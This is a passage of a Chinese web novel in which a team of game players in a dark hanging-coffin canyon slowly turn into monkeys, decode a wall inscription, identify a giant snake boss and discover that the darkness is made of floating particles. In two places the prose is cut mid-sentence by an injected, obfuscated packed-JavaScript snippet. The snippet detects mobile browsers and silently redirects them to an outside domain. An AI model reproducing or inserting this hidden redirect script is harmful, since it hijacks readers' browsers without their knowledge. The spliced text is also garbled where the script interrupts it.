“似乎讲得通。”卫山河说,看它们似乎很害怕被照到,他便将灯笼交给陆厌,拿远了一些。 随着灯光暗淡下来,那些挤在门口的猴子终于敢抬起头了。这一抬头,带给众人的震撼却无以复加,师襄顿时倒抽一口冷气,不自觉地后退了好几步。 ——它们无一例外,都有一双含着泪水的、哀切的黄褐色眼睛。 那一双双黄褐色的眼睛暗沉无光,中间一点漆黑的瞳孔格外显眼,看起来冰冷而诡异,但偏偏这样的眼睛中还含着一层薄薄的泪水,在幽幽绿光的映衬下便显得格外可怖。 然而,视觉上的冲击远没有心里受到的震撼来得大。看到猴子眼睛的一瞬间,师襄的思维一滞,首先想起的,竟然是陆厌半开玩笑说出的那句“我们已经在慢性死亡了”。 原来如此、原来如此,这些猴子,竟然都是和他们相同的人转变而成的。 “里面那只大……”祝灵正开口道,他的声音难得有些飘忽,甚至磕磕绊绊的,毕竟遇到这种情况,再冷静的人都不可能完全稳得住,“里面那只,不是,里面那个、那位……是不是还没有完全变成猴子?” 他话音刚落,陆厌手腕一翻,两柄弯刀已经从背上落进了手中,阴阳往极刀光一闪,木栅栏已经应声而碎。然而,那些堵在洞口的猴子却并没有一拥而出,而是显得很惊慌的样子,有的掉头往山洞深处逃走了,有的却顺着洞口的藤蔓攀爬到了高处,乱糟糟的,往哪个方向躲藏的都有,不过一会儿,竟然就都没影了。 现在也顾不上这些了,几个人快步冲进山洞,卫山河提起灯笼朝角落照去,饶是他心理素质过硬,手也忍不住一颤。 ——祝灵正说得没错,“他”的确还没有完全变成猴子,但也绝不再是一个人了。 那蜷缩在山洞角落的“人”,从背后看的确还是人的身形,穿着类似梓匠打扮的粗短布衣,但从衣服袖口里露出来的却是毛茸茸的猴子的四肢,后背高高地拱起,看起来瘦骨嶙峋。 最奇特的是“他”的脑袋,这个人还没变成猴子之前大概就已经很衰老了,满头白发,但同时还有无数粗砺的棕褐色猴毛自“他”的后脑长了出来,人的花白的头发与粗粗短短的猴毛交织在一起,显得十分古怪。 听到几人冲进来的声音,“他”慢慢地转过头,绿光映出了一张恐怖至极的怪脸。这张脸满是皱纹,颧骨暴凸,鬓边腮边生满猴毛,偏偏还长着人类的五官,两只黄褐色的眼睛直勾勾地看过来。 看到他们,那圆滚滚的眼睛里便迅速蓄满了浑浊的眼泪,一滴一滴,顺着苍老的脸流进下颌的毛发之中。 陆厌向来是胆子很大的,但亲眼看到这一幕,尤其是想到自己可能也会变成这样子,还是有点头皮发麻。他劈碎木栅栏冲进来,本来是抱着一丝希望,想着能从这“人”口中问出些什么,但“他”看起来实在是太老了,干瘦如柴,形销骨立,仿佛吹一口气都会散架,却是让陆厌一时手足无措了起来。 “这……怎么沟通?”他问。 那半人半猴的老者听到他说话,干瘪的嘴唇努力翕动着,最后,竟然从喉咙里发出了“吱吱”的细响,这声音却和猴子叫并没有什么区别,看起来基本上是没办法交流了,几个人听了心里就是一凉。 殷炽站在众人身后,默默地移开目光。那老者看多了让人心里发凉,他索性不再看了,而是看向地面。 这山洞里也充满了臭味,地上还有些没吃完的干硬发霉的饼子,衣物胡乱散落一地,甚至沾满了黏糊糊的排泄物,被他们劈开的几段木栅栏恰好掉在了上面,这才没被踩到。 他看着,忽然发现那木栅栏上好像有用浆糊粘过什么的痕迹,只是被人撕走了。不过撕得倒也不算太干净,殷炽俯下身一看,那栅栏上还残留着一角黄色的东西,看起来,倒像是黄色的纸。 黄色的纸…… 殷炽正思索着这贴在栅栏上的黄纸会是什么,忽然一惊,猛地想到了一个之前一直被他忽视的问题。 ——之前他检查过的那些山洞门口的木栅栏都已经被撞坏了,而那些散落的栅栏碎块,都掉落在洞中。 他们一直认为是有人将猴子圈养在这里,而猴子们冲破了栅栏,逃走了。 但如果是从洞内冲破栅栏的话,那些碎块应该是掉在外面才对。 只有像陆厌刚才那样从洞外打破栅栏,那些碎块,才会落到洞里。 再结合地上散落的镐头和梓匠打扮的衣物,这些人在变成猴子之前,很可能都是工匠,那些悬棺裂谷中的木楔子和栈道大概率就是他们的作品,而洞口的这些木栅栏,也是用相同的木楔制作的。 所以…… 他们不是被关在这里,而是自己钉死了洞口。 那些栅栏不是防止他们从里面出来,而是防止外面的东西进来! 殷炽这边刚发现木栅栏的落点有异,其他人面前也正在发生着可怖的变化。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691171|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在灯笼幽幽绿光的照射之下,那半人半猴老者的白发突然纷纷脱落,身形也开始以肉眼可见的速度肿胀鼓起。那张苍老面庞上纵横的皱纹全都被撑平了,整张脸像一个肉气球一样被吹了起来,随后,又迅速地垮了下去,在这个过程中,“他”本来还保留着人类特征的五官像被肿胀的颊肉吞食掉了,等到整张脸垮塌下去,“他”就这样在众目睽睽之下,变成了一只老态龙钟的猴子。 整个过程甚至不到几分钟,但亲眼目睹这个变化的感觉太骇人了,几人一时间被这种恐怖的改变震慑住,眼睁睁地看着那变得宽大许多的衣服落在地面,而那只老猴子从其中钻了出来,便见它黄褐色的眼睛转了两转,透露出几分茫然,随即突然从地上跳起来,便是猛地一撞。 老猴子的动作快得像一阵风,众人还没反应过来,便见它从祝灵正和卫山河之间夺路而逃、拔足狂奔,身形是和年岁完全不符的灵动,一瞬间就冲出了光照的范围,从洞口跳了出去,消失在了黑暗之中。 奇怪的是,老猴子虽然瘦骨嶙峋,但力气意外的大,祝灵正和卫山河都被它撞了个趔趄,卫山河便下意识地伸手去扶身边的岩壁,这一扶,却是触电一样迅速地收回了手。 隔着薄薄的手套,他摸到岩壁上有凹凸不平的痕迹,横平竖直,显然不是自然所为。 “墙上有字!”他举起灯笼一照,脱口而出道。 听说墙上有字,大家立刻都围拢过来,师襄自卫山河手中接过灯笼,便凑近岩壁,仔细看了起来。 那岩壁上确实是用镐头一类的东西刻着密密麻麻的小字,虽然字并不好看,但是一笔一划都极其认真,刻下这些字的人显然十分擅于识文断字。然而,这些石刻字越到后面便越发潦草,行文间的语气也越发绝望,到最后已经成了无意义的乱凿乱划。 看着这些痕迹,仿佛就能看到一个正常人慢慢地丧失理智、最后无可奈何变成野兽的样子。也许它们心里还残存着最后的情感,但究竟还剩多少人类的意志,他们也没办法知道了。 师襄轻轻叹了口气,她看了看自己提着灯笼的手,五指纤长,很难想象它被毛发覆盖的样子。她完全接受不了自己和队友们变成那副人不人鬼不鬼的模样,必须赶在异变彻底发生前找到解决的办法,而眼前这面刻满了字的石壁,显然就是浪客行留给他们的提示。 这些石刻文字,非常详细地记录了一个故事: 上元三年,也就是安史之乱结束后,当时的山南东道节度使平乱有功、入朝受赏,而大批梓匠也被征召而来,为山南东道的行伍打造棺材,其中有一批梓匠,便被分配到了夔州,兼修节度使陵墓。 山南东道夔州,差不多就是现在的重庆一带,早自春秋时期便一直有“悬棺为葬”的风俗,为方便搬运棺材,他们便按本地习俗与风水挑选了一处峡谷,与本地人共同修筑栈道。然而次年,栈道刚竣工不久,节度使便被赐死,其麾下右厢兵马使便趁机割据一隅,杀死同僚,逼迫朝廷任命自己为新的山南东道节度使。陵墓未成而大将已死,新节度使借怠工之名,下令捕杀这些梓匠,他们无奈之下,只得逃入了裂谷人迹罕至的深处。 详细而工整的记载到此为止,后面部分的文字就变得潦草起来,但也勉强能看出大意。这些梓匠为了躲避追杀,逃进了裂谷深处,却发现这里即使是白天也伸手不见五指,且处处诡谲,早有宽阔栈道,满是人生活过的痕迹,甚至还有祭坛摆设,设坛之处,草木枯萎,兽骨遍地。 最可怖的是,他们还借着不知从何而来的绿灯笼,发现了堆积如山的人骨与衣饰,这群人中有位见多识广的老木工,一眼便认出来那是苗疆五毒与南诏乌蛮的打扮。 NPC以为是五毒,师襄他们心里却有数,既然和南诏兵一起出现了,那么这所谓的“五毒”,显然就是天一教了,但不知为何,这记载中却说这些天一教教众已经都化为了白骨,而且那白骨都寸寸断裂,有些地方更是化为了齑粉,若不是有衣物包裹,根本认不出来是人骨。 梓匠们虽然知道这里邪门,但也实在是走投无路了,只得硬着头皮,爬上半山,想着等风头过去了再下山回家。但等他们寻了处开阔谷地,就更疑惑了,原来这里早被天一教开凿好了供人居住的山洞,但里面也是空无一人。到这时候,不少人心里已经是有凶多吉少的预感了,干脆用木矩和麻绳将打好的棺材按本地风俗高悬起来,一方面,悬棺意味着“高官”,护佑子孙后代官运财运,另一方面,看那些谷底兽骨,这峡谷中肯定不乏野兽,死后尸身也能免受野兽破坏。 就在这个过程中,他们便发现,自己的腿上和脚上竟然生出许多猴毛来,习性和声音也越来越像兽类,甚至思维也不太灵光。众人惊慌失措,还是见多识广的老木工胆子大,去死人衣物堆里摸了一遭,竟然让他找到几张被油纸妥善包裹的黄符,一看便是重要之物,梓匠们将黄符贴在山洞口,变成猴子的速度果然便延缓了不少。 然而,还没过多久安稳日子,随着天气转暖,他们又发现,天一教在这峡谷里设坛,是为了供奉某种他们所敬仰的“东西”。被供奉的“东西”来无影去无踪,黑暗之中无声无息便能将人掳去,不知此前为何一直按兵不动,直到现在才突然发难,一连掳走了好几个同伴。 这就是所有能看懂的文字记录了,到了最后几句,那痕迹比刚学会写字的小孩还凌乱,师襄基本已经是在连猜带蒙。然而,她还没来得及说什么,便看到殷炽面色古怪地看过来。 “快走……不要留在山洞里。”他低声道,“我感觉这里很危险。” 仿佛是在应和殷炽的警告一样,黑暗中,突然传来凄厉的猴子惨叫! 众人一惊,便听那猴子的惨叫声回响在一片死寂的山腹之中,惊怖而诡谲,好似忍受着巨大的痛苦,在黑暗之中令人不寒而栗。然而,只是短短一瞬间,这声音便突兀地消失了,就像是被什么强行掐断了一样,连尾音都消失得无声无息。 最糟糕的是,因为这声音消失得太快,他们一时间都没能分辨出距离的远近。一定有什么危险潜伏在黑暗之中袭击了之前跑掉的猴子,也许就是石刻文字中提到的天一教祭拜的兽类,但那东西现在在哪里、离他们多远,都无从判别。 “顺着墙壁慢慢走出去。” 师襄轻轻晃了晃手上的灯笼,等队友都回头看向她时,做了几个简易手势示意,自己则将灯笼拢进雪河校服长而宽的袖摆之中,以免光芒太盛、过于醒目,几人便各自警戒,无声无息地沿着山壁离开了这个山洞。 从那一声惨叫之后,黑暗之中便再也没有声音传来,甚至一丝一毫的异状都没有,安静得令人发怵。这种一派死寂的情况才是最棘手的,如果有什么东西发出点大动静来,那大家反而心里还能有大概准备,不至于两眼一抹黑。 就这样小心翼翼地前行了一段距离之后,陆厌突然停下脚步。 他感觉自己似乎踩到了什么软绵绵的东西。 绿灯笼被师襄用袖子遮住了,光线变得十分暗淡,一切都只剩下影影绰绰的轮廓。陆厌低头一看,地面上似乎散落了些什么,他心里知道那可能是猴毛,但眼睛却看不太清。 他的夜视能力似乎正在逐渐退化。 陆厌干脆蹲下来,俯身贴近地面,这个距离总算能看得清清楚楚,只见地上果然是一小堆脱落的猴毛,但看那数量,绝不可能是自然脱落,倒像是激烈挣扎时被蹭下来的。 “第一现场。”他在心里想,同时绷紧了神经,留意着周围的黑暗,然而始作俑者似乎已经离去,黑暗之中没有半分响动,听不见、也看不见任何东西。 这时候,卫山河忽然垂下手,用松间云鹤在地上浅浅划出字迹来。队友们纷纷凑近,师襄将袖摆掀开一角,让灯笼漏出点光来,就看见他写的是:奇怪。 光线不强,卫山河自己其实也看不太清自己写的字,但凭借肢体记忆依然龙飞凤舞地写了下去:猴子被袭击,但这里没有血,没有骨,只有毛。 到这个时候陆厌也不忘开玩笑,弯刀刀尖划过,写下:惨叫是因为被吓了一跳,怕得脱毛? 不。殷炽写:猴毛末梢带有血迹,像被暴力拽落。 祝灵正看看手里魂灯,玉女守门尾端是绿洲黑梨木与金饰交叉相绕的设计,平日里看着好看,现在却像钢笔的笔头分叉了那样,显然不太便于沟通。他抿抿唇,转头一看师襄,心里还有些安慰,结果便看到师襄也抽出琴中剑,在地上划起字来。 她的动作干脆利落,先把前面三人留下的字迹都划上一条长长的删除线,才在旁边写下两个字:吞食。 随即,她又写下一个“一”的序号。 一、天一敬仰,设坛供奉。 二、人骨寸断,巨力挤压。 三、冬日无事,天暖活动。 三条线索写完,师襄手腕一转,画了个箭头,指向最终的答案: 蛇。 她微微停顿了一下,又蹭去之前字迹,重新写道: 碧骨王蛇。 24. 第四天·悬棺裂谷(二十四) 王蛇,是一种温驯的蛇类,经常被作为宠物蛇来饲养。 当然,这仅限于浪客行之外,浪客行中的碧骨王蛇,显然没有办法用温驯来形容。这个boss的建模大概是参考过荻花圣殿的塔洛马蒂大蛇,体型极为巨大,盘绕在一根巨柱之上,蛇头上长满了灰色竖立刺状角鳞,双眼血红,身披刀一样锋利的青黑鳞甲,必须拉远镜头才看得到全貌。 与其说是王蛇,它的种种特征,反而更像蝰蛇和巨蟒的合成体。 以上信息,来自于对浪客行了如指掌的陆厌。在确定了这关的boss是什么之后,他们反而没有一开始那么紧张了,担心的重点也逐渐转移到了自己身上正在发生的异变之上。 “有没有一种可能,‘王蛇’指的是这条蛇很厉害,是蛇里的大王?”卫山河道。 “嗯……按照洗手间的一贯作风也不是不可能啊。”陆厌道,“这个boss的技能主要是范围AOE,还挺好躲的,不过看样子这条蛇本身也有物理伤害。” 殷炽也说:“地上的那些痕迹,就是鳞甲摩擦地面才留下的。蛇可以顺着山壁游走,之前袭击玩家的时候应该就是它卷住玩家离开栈道,才导致那个玩家的左手被木楔卡住。” 闻言,靠在山壁上的祝灵正站直了身体,默默往前站了一步。 他们现在已经回到了之前遇到那个田螺玩家的位置,就在那块被蚀肌弹崩碎的巨岩旁边,那个老玩家早就不知所踪,只有地上还散落着几根淬了毒的弩箭。 卫山河走到师襄旁边,借袖中灯笼的光,拿出香篆钟看了一眼,这一看,他才突然想起来,之前经历的一系列事情太过混乱,他们都忘记重新点燃木盘香了。 一盘香只能燃烧四个小时,而他手中这只钟,已经烧得只剩下香灰。卫山河摘下手套,伸手轻轻一碰那些灰烬,入手一点余温也没有,显然是早就燃烧殆尽。 祝灵正看着他的动作,茫然道:“你摘手套干什么?洁癖痊愈了?” 被他这么一问,卫山河一愣,如梦初醒般擦干净手,戴好手套。 “因为他快变成小猴子喽。”陆厌笑道,“糟了,等你变成了猴子,会不会去捡粑粑干扔着玩?” 卫山河皱起眉头:“你礼貌么?你才扔……那个东西!你变成猴子也就是峨眉山那种泼猴!” 殷炽却说:“新闻里看过,猴子真的会扔屎。” 卫山河沉默了:“……我不能接受。” “我也不能接受!”师襄愤怒道,“刚想从背包里拿点东西吃,你们就开始聊这些恶心话题?” 木盘香早就烧完了,他们进入悬棺裂谷的时间应该远远不止四小时,师襄这么一说,大家顿时也觉得腹中有些饥饿,当下干脆“放下恩怨”,围坐在巨岩之后,稍事休整。 为了防止食物香气引来boss,他们只拿出了些白饭与面饼,还好客栈伙食不错,简单的饭食入口倒也不会难以下咽。 “盘点一下我们现在主要面临的几个问题吧。”师襄掰开一只饼,道,“我觉得,最严重的就是猴化问题。一只猴子肯定不能去找蒋玉凤对话回到客栈,所以,如果我们没能阻止这个过程,恐怕就要永远在这里做猴子了。” 玩笑时间已经结束,谁也不想捡粑粑干扔着玩,大家纷纷颔首。 “boss和野兽也是一个问题。”陆厌正色道,“boss是碧骨王蛇,蛇的视力很差,捕捉猎物主要靠的是热感应,所以裂谷里黑与不黑对它来说完全无所谓。至于野兽,我觉得我们在山底那波分析也是对的,从其他动物的骸骨上来看,它们确实死于猛兽捕猎,只不过我们的优先级错了,在这个山谷的食物链中,碧骨王蛇位于顶端。蛇的食量一般是自身体积的两倍,而碧骨王蛇又巨大无比,无论野猪还是猴子、又或是我们,都是碧骨王蛇的食物,而且,它很可能还没吃饱。” “第三点,老玩家。”祝灵正也道,“我们只接触到了一个人,目前看来他对我们的敌意不是很大,但说不准后期会不会改变想法。如果仅仅是一个田螺,即使是老玩家,应该也不是我们的对手,但他的队友如何我们完全不了解,这一点,很棘手。” 卫山河补充道:“还有钝感。我们的视线受阻也就罢了,但从进入裂谷以来,我觉得听力也变得很差,有些应该很大的声音听起来却模模糊糊。另外,那些山洞里积攒了很多梓匠们经年累月的……排泄物,虽然恶臭,但没有想象中的那么臭,可能我们的嗅觉也被影响了。” 不仅进了每一个山洞、还用刀挑起沾了秽物的布条近距离观察过的殷炽闻言,突然失去了胃口,默默放下面饼。他正想补充点什么,却感觉祝灵正以不大的力度在轻轻地拽他手里的饼。 “你没吃饱吗?”殷炽顺着那力道把饼塞给他,顺口问。 祝灵正闻言,不解道:“饱了啊。” 殷炽一愣,与此同时,忽然感到一个粗砺的、毛茸茸的东西擦过他的手指。 他一哽,凭借强大的意志力硬是控制住了自己的身体坐在原地没动,僵硬地低头一看,原来是不知道从哪来了只小猴子,倒钩在巨岩上,垂下长长的胳膊,正抓着殷炽塞给它的饼,费劲儿地啃着。被殷炽发现了,它显然有点惊慌,两只圆眼睛眨巴眨巴,一副想跑又不敢跑的可怜兮兮的样子。 其他人也发现了这只猴子,想到它的身世,再看看这可怜的模样,师襄轻叹一声:“给它拿点水果吃吧。” “成。”陆厌闻言,在小队背包里翻找一会儿,掏出只桃来,笑眯眯地在猴子眼前晃了晃,“没有香蕉,吃个桃子吧,这可是齐天大圣的最爱。” 那桃子也是有间客栈出品,饱满新鲜,猴子的眼睛顿时就黏在上面了,眼巴巴地瞅着,陆厌便将桃子递给它,笑道:“吃了我的桃,就得认我当猴王,知道么?” 那猴子看来是一点作为人的特性也没了,也不管陆厌说的什么,接过桃子就是一通乱啃,顿时汁水飞溅,卫山河坐远了一点,无语道:“你眼光还挺长远的,现在就想着当猴王了。” “不行,绝对不行。”师襄斩钉截铁道,“谁愿意当猴子谁自己留下,我反正要做人。” 她皱起眉头,也不管那只吃得正欢的猴子了:“回到正题,从那些刻在岩壁上的文字可以看出,能够延缓我们变成猴子的关键道具是‘黄符’,但是依照殷炽的发现,那些黄符已经不见了,似乎是被人撕走了。你们说,这黄符是什么时候被撕走的?” “为什么要留意时间?”殷炽一边轻轻摸着小猴子毛茸茸的脑袋,一边问道。 “如果是很久之前被撕走的,那就可能是藏在其他山洞的梓匠们干的。”师襄道,“人在剧变和死亡面前往往是自私的,多一些黄符就能让自己晚点儿变成猴子,他们会互相争夺黄符也很正常,只是那些梓匠也没想到,自己藏身的山洞会被那蛇率先攻破罢了。如果黄符是最近才被撕走的,就更好解释了……” 她抿起唇,从地上捡起一根弩箭,挑了挑眉: “不是只有我们队面临着变成猴子的危机。” 在浪客行中遇见别的队伍,无非只有三种选择,对立、合作,或互不干涉。虽然已经是第四天,但这的确是师襄一队首次遇见其他队伍。 说来也有意思,他们从孟秋暗示过有PVP内容开始,就一直在为队伍之间可能存在的竞争做准备,但直到整个浪客行进度过半,这些准备才第一次派上用场。 之前,他们也早早地讨论过,对于被莫名其妙带入浪客行之中的玩家们来说,遇到其他队伍时,第一选择肯定是和平相处,所谓的PVP根本就打不起来。但既然孟秋那么说了,就说明游戏里一定有什么会强迫他们进行竞争的机制存在。 现在看来,那用来保障PVP的机制,很可能就是“黄符”这种和玩家的生死息息相关的重要道具。 “如果整个地图的黄符不够分,那事情就难办了。” 在小猴子稀里哗啦吃桃子的声音中,祝灵正说。 殷炽面色一沉:“山腹里一共是五个山洞。” 五,是一个极为敏感的数字,正好就是一支小队的人数。假如每个洞口的门上都贴着一张黄符,那一共也才不过五张而已,如果那个田螺的队伍还没有减员,五张黄符,恰好一人一张。 对于师襄这一队来说,他们确实是做好了PVP的准备,但这准备其实也是以自保意味巨多,并不代表着要去主动地抢夺别人的保命道具。 “不要慌。”师襄咬了咬嘴唇,皱眉道,“那些梓匠也只是在洞口贴了一张,就能延缓他们异变的速度,理论上来说,也不需要一人一张黄符,五个人共用一张完全可以。” “但是你不知道那些梓匠究竟是什么时候被变成猴子的、黄符又能延缓多久。”卫山河摇摇头,“对于玩家来说,肯定还是一人拿着一张最放心,谁也不想在涉及到自己生命的问题上豪赌一把。” 殷炽却说:“我们只需要在这里留二十四小时,二十四小时的话,一张黄符应该够了。” 他想了想,又道:“既然梓匠们都选择了把洞口封住不出来,那么撕走门上黄符的应该就是那队玩家了。” “等一下。”祝灵正轻轻一抬手,轻声问,“我们怎么能确定,这张地图只有我们两队?” 的确,在这样恶劣的环境里,他们连探索地图都很艰难,更别说调查这里究竟有几支队伍了。假如这里其实存在着更多的小队,黄符只会成为更加稀缺的珍贵资源。 “你说得对,但我们也不能确定田螺那队就是满员。”陆厌道,他甚至将包着那只断手的布包拿出来晃了一下,看到队友面色古怪,又赶紧补充,“不是,我当然是希望他们没事了,我只是说不要往过于悲观的方面去想,至少我们队的配置……诶?” 他突然愣了一下。 “怎么?”师襄问,“想到什么了?” 陆厌看看卫山河,又看了看祝灵正。 “你俩一个气纯一个衍天……一个道教一个阴阳家,会画符应该很合理吧?” 这下,愣住的人变成了其他四人。一阵简短的沉默后,祝灵正犹豫道:“好像……也不是不行?” “意思是我们可以直接去找其他有符的玩家借一张,临摹?”卫山河一顿,“不对,能临出来的话不就直接量产了么,完全可以人手一张。” “打住。”师襄无奈道,“想法很好,职业也匹配,但是画这个东西得有材料吧,黄表纸你们有吗?朱砂毛笔你们有吗?在这个鬼地方到哪儿去找这些东西?” ——那小猴子还在埋头吃桃,忽然有些迷茫地抬起头,看了看身边的人。这人看起来面色倒是没有什么变化,但动物对情绪的感知非常敏感,它感到了一种浓郁的纠结,于是抱着桃子往旁边挪了挪。 这纠结的人正是殷炽。他面色凝重地思索了几秒后,终于闷闷地开口:“你看小队背包最后一栏。” “什么背包最后一栏……”师襄还没反应过来,随口便道,突然回过神来,狐疑地看向殷炽,“你放什么进去了?” 殷炽面不改色地接受她的打量。 常用的食物药品和火折子等物品都放在小队背包的最前面方便取用,师襄还真没注意后面一栏多了什么。在队友的注视中,她开始一样一样地从背包里往外掏东西,越掏便越无语。 黄表纸、朱砂、毛笔、罗盘、桃木剑、五帝钱…… “这是什么?”祝灵正拿起几只小瓶子问。 殷炽道:“鸡血。” “……赵云睿还卖这个?”师襄无奈道。 “我们上次去枫阳村的时候……弄来的。”殷炽面无表情。 卫山河拿起桃木剑挥了两下,一打眼又看见剑旁还有几个黑乎乎的东西。他随手拿起来一个打量了半天,也没看懂那究竟是什么,给旁边陆厌扫了一眼,却听陆厌笑道:“这不会就是传说中的黑驴蹄子吧?” “……”他迅速把黑驴蹄子扔了回去。 在这堆东西面前,师襄感觉自己的语言变得有些苍白无力,看了半天,也不知道该说什么,最后只得把它们又收回了小队背包。她本来还想问一句花了多少玉签,但想想殷炽都能自己去搞鸡血了,话到嘴边,又默默咽了回去,好歹这些黄表纸和朱砂毛笔倒是阴差阳错地派上了用场。 “不对。” 出乎意料,沉默良久的祝灵正竟然一脸不虞地开口。 他质问殷炽:“你不是说鬼是数据、是磁场、是暗物质么?为什么还搞来这些东西?” 这下连殷炽铁打的表情都愣是没崩住,和其余人齐刷刷地看向祝灵正,瞳孔地震。 ——他竟然真的信了! 俗话说,科学的尽头是玄学。 虽然这句话自有其道理所在,但真到了生死攸关的时刻,谁也不想把自己的性命寄托在虚无缥缈的玄学上。 “无论怎么说,还是尽可能地先拿到一张符吧。”师襄道,“万一画出来的符不管用,起码还算有道保险。” 陆厌点头:“好,那我们先按照最理想的情况来看,这张地图只有我们和另外一队,门上所有的黄符都是被另外一队玩家撕走的,而且他们愿意和我们分享;这样的话,只要熬过剩下的时间,就不用担心被变成猴子了。” 卫山河则道:“至于最坏的情况,就是这张地图有很多支队伍,黄符却没几张,其他队伍自己都不够用,他们也并不想和我们和平相处。” 说这话的时候,他的脚踝处忽然传来一阵怪异的感觉,那感觉既不痛也不痒,很难用语言形容,大概是一种微微发烫的僵麻感。他心里一沉,将长靴的软边连同云袜一起翻下来,果然就看到脚踝处已经长出了一片巴掌大小的棕褐色毛发。 队友们都在看着他的动作,师襄一皱眉:“不会吧……?” 卫山河点点头,沉声道:“我长出猴子毛了。” 明显的异化特征终于出现,大家脸色都不是很好看,各自检查自己的身体。一通检查下来,大家的异化程度都不相同,卫山河最重,手背上也出现了短短的棕色毛茬,其次竟是师襄,而异化程度最轻的是祝灵正,只生出了零零散散的几根猴毛。 师襄当即道:“不能再拖了,走,去找那一队。” 几人纷纷起身,将剩下的饭食收回小队背包。那只小猴子此时已经吃完一整只桃子了,看到众人要走,一对圆眼睛便直勾勾地盯着他们看。 陆厌对它道:“再看也没有了,哥几个得留点桃子以后备用。” 猴子当然听不懂人话,见没有食物,就对他们失去了兴趣,一扭身,将屁股朝着众人,两只爪子扒拉着一个黑乎乎的小玩意,玩了起来。 那东西怎么看怎么眼熟,似乎是从殷炽那一堆“宝贝”中扒拉出来的,陆厌单手拎起猴子将那个小玩意从它爪子里拿出来,只见那东西呈圆弧状,下粗上尖,青中透黑,上面有不甚明显的白色纹路,看形状,似乎是什么动物的角。 “这是找赵云睿换的犀牛角。”殷炽认出来了,便道。 不少小说里都提到过“犀照通幽”,化用了温峤燃犀的典故,通俗来讲,就是用点燃的犀牛角照明便可以看到另外一个世界的东西,众人差不多都有所了解,也没太在意。只有那只小猴子看到犀牛角被陆厌拿走,十分不满,跳到一旁的巨岩上探头探脑,似乎是在寻找抢回来的机会。 “收起来,走了。”师襄道,从地上捡起绿灯笼,便要转身迈开步子。 “别啊。”陆厌却道,从背包里拿出火折子,笑了一笑,“不如我们点一下看看,万一真能看到什么呢?” 说着,他就吹亮火折子,将犀牛角凑过去。恰在此时,那小猴子奋力一扑,正好赶上陆厌抬手,当即扑了个空,擦着陆厌的手臂,直直地掉在了师襄手里提着的灯笼上。 猴子的趾爪看似平平无奇,但实则非常锋利,它又是飞扑下来的,势头更足。那灯笼原本就被殷炽用链刃划开了一个小口,事情也就是这么凑巧,那猴子锋利的爪子恰好勾住了那个破口,只听“嗤啦”一声,小猴子跌落在地,忙不迭地翻身跳起来一溜烟窜进了黑暗中,而那灯笼也被它撕开了,没了外壳保护,里面的蜡烛顿时掉了出来,在地上滚了两圈,熄灭了。 没了灯笼的照明,众人的视野顿时被铺天盖地的黑暗所淹没,祝灵正立刻从包里拿出火把想要点燃,但仅仅是几秒之后,一种奇异的噼啪声从陆厌手中响起,那是犀牛角被点着了,慢慢地亮了起来。 青白色的火焰跳动着,映出了无比诡谲的一幕—— 以那只犀牛角为中心,周围的一小圈黑暗竟然被它吞噬殆尽,露出了带着淡淡烟霭的山谷的原本景象,看起来,竟然还是白昼。 “天啊……”再怎么淡定,师襄还是被这景象惊了一下,她看着陆厌抬起手臂,那犀照映到哪里,哪里的黑暗就像被慢慢撕开一角一样,好像一张黑色的幕布被人烧出了连片的洞,露出了本来的天光,“这黑暗是可以燃烧的吗?包里还有犀牛角吗?” 连兑换了犀牛角的殷炽本人都没想到它还能派上用场,雷打不动的冰山脸上少见地露出了懊恼的神情:“只有这一只。” 虽然这么说了,他还是忍不住再次打开背包确认,希望能再找出一只来。但随着殷炽一抬手,他身周的黑暗仿佛水中晕开的浓墨一样,被动作带着涌了过来,再度吞噬了一部分亮起来的世界。 “别动!”师襄、陆厌和卫山河立即异口同声道,师襄小幅度地抬起手,轻轻从身旁一挥,那浓重的黑暗仿佛有形一样,被她勾动了一缕,流到了有光亮的地方。 这一切太奇异了,她忍不住想起了曾经看过的沙画表演。被染成黑色的沙子平铺在灯箱上,犀照就像作画者的手,所到之处,黑色的沙子被推开或带回,以亮部与暗部的配合来绘制一幅幅图画,和他们现在面临的情景竟然有种诡异的相似。 只是那犀牛角燃烧得极快,几乎以肉眼可见的速度在缩小。 “走走走。”陆厌道,“快往前走,去找那支队伍,这玩意烫手——祝灵正?祝灵正?” 他连着叫了两声,拿着火把站在最后的祝灵正才回过神来。 他一向表情极少的脸上竟露出了惊愕的神色,更是难得地提高了音量:“我看到了……” 火把被点亮、明暗交错变化的一瞬,他借由反射的光线,分明看到了此前也朦朦胧胧瞥到过、但始终没能看清的东西! 那被犀照映亮的,根本就不是黑暗,而是无数密密麻麻漂浮在空中的小黑点! 这些黑点挤在一起,根本看不出是无数独立的个体,只有空气流动的时候才偶尔露出缝隙来,寻常火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691172|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把根本照不出来,只有光线变化时才能察觉到一点异常,可是谁又能想到眼前的黑暗竟然是由数不清的漂浮黑点组成的呢? 而陆厌手中的犀牛角,正是在燃烧这些密密麻麻的黑色物质! 最可怕的是,这些黑点轻盈而细小,想也想得到,它们正随着他们的每一次呼吸,被吸入口鼻,涌进肺里,随着血液循环被输送到身体的每一个角落,直到彻底占满血管。 想到这里,祝灵正的脑海里忽然浮起了一个诡异的比喻。 